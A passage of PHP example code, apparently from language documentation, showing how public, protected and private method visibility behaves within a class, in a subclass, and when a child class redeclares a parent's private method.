private function MyPrivate() { }

// This is public
function Foo()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate();
}
}

$myclass = new MyClass;
$myclass->MyPublic(); // Works
$myclass->MyProtected(); // Fatal Error
$myclass->MyPrivate(); // Fatal Error
$myclass->Foo(); // Public, Protected and Private work


/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
// This is public
function Foo2()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate(); // Fatal Error
}
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // Works
$myclass2->Foo2(); // Public and Protected work, not Private

class Bar
{
public function test() {
$this->testPrivate();
$this->testPublic();
}

public function testPublic() {
echo "Bar::testPublic\n";
}

private function testPrivate() {
echo "Bar::testPrivate\n";
}
}

class Foo extends Bar
{
public function testPublic() {
echo "Foo::testPublic\n";
}

private function testPrivate() {
echo "Foo::testPrivate\n";
}
}

$myFoo = new foo();
$myFoo->test(); // Bar::testPrivate
// Foo::testPublic
?>